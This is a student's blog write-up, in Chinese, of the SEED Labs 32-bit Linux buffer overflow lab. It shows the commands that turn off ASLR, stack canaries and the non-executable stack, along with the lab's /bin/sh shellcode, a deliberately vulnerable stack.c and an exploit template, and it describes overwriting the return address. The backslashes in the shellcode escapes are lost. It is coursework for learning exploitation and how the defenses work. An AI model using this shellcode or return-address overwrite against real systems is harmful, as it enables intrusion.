• SEED缓冲区溢出实验笔记


    缓冲区溢出实验(Linux 32位)

    参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

     (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

    1. 准备工作

    使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

    (1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

    $ su root
    Password: (enter root password)
    #sysctl -w kernel.randomize_va_space=0

    (2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

    (3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

    2. ShellCode

    教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

    #include <stdio.h>
    int main( ) {
    char*
    name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    View Code
    /* call_shellcode.c  */
    
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    
    const char code[] =
      "x31xc0"             /* xorl    %eax,%eax              */
      "x50"                 /* pushl   %eax                   */
      "x68""//sh"           /* pushl   $0x68732f2f            */
      "x68""/bin"           /* pushl   $0x6e69622f            */
      "x89xe3"             /* movl    %esp,%ebx              */
      "x50"                 /* pushl   %eax                   */
      "x53"                 /* pushl   %ebx                   */
      "x89xe1"             /* movl    %esp,%ecx              */
      "x99"                 /* cdq                            */
      "xb0x0b"             /* movb    $0x0b,%al              */
      "xcdx80"             /* int     $0x80                  */
    ;
    
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
    } 
    View Code


    3.漏洞程序stack.c

    程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[24];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    View Code

    4.实验内容

    GDB的使用参考:

    http://blog.csdn.net/liigo/article/details/582231

    http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

    (1)攻击漏洞程序执行shellcode

    使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

     

    查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

     

    执行memcpy后,可以看出内存变为如下图所示。

     

    即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

     

     

    修改exploit.c如下所示,成功!

     

     

    (2)启动内存地址随机化

    首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

    (3)Stack Guard

    首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

     

    (4)栈不可执行

    使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

    /* exploit.c  */
    
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[]=
        "x31xc0"             /* xorl    %eax,%eax              */
        "x50"                 /* pushl   %eax                   */
        "x68""//sh"           /* pushl   $0x68732f2f            */
        "x68""/bin"           /* pushl   $0x6e69622f            */
        "x89xe3"             /* movl    %esp,%ebx              */
        "x50"                 /* pushl   %eax                   */
        "x53"                 /* pushl   %ebx                   */
        "x89xe1"             /* movl    %esp,%ecx              */
        "x99"                 /* cdq                            */
        "xb0x0b"             /* movb    $0x0b,%al              */
        "xcdx80"             /* int     $0x80                  */
    ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */ 
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    View Code

    高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

  • 相关阅读:
    16进制字符串的转换
    UINavigationBar统一修改导航条样式
    3D touch
    WKWebView
    CAEmitterLayer 粒子效果(发射器)
    SDWebImage下载图片的使用
    PHP之string之str_shuffle()函数使用
    Redis之hiredis API (String)
    Redis之数据类型Sting字符串
    PHP之string之str_repeat()函数使用
  • 原文地址:https://www.cnblogs.com/ascii0x03/p/5448894.html
Copyright © 2020-2023  润新知